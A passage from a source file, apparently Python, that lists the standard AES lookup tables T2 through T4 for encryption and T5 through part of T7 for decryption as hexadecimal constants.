0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
851    T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
852    T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
853    T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
854
855    # Transformations for decryption
856    T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
857    T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
858    T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 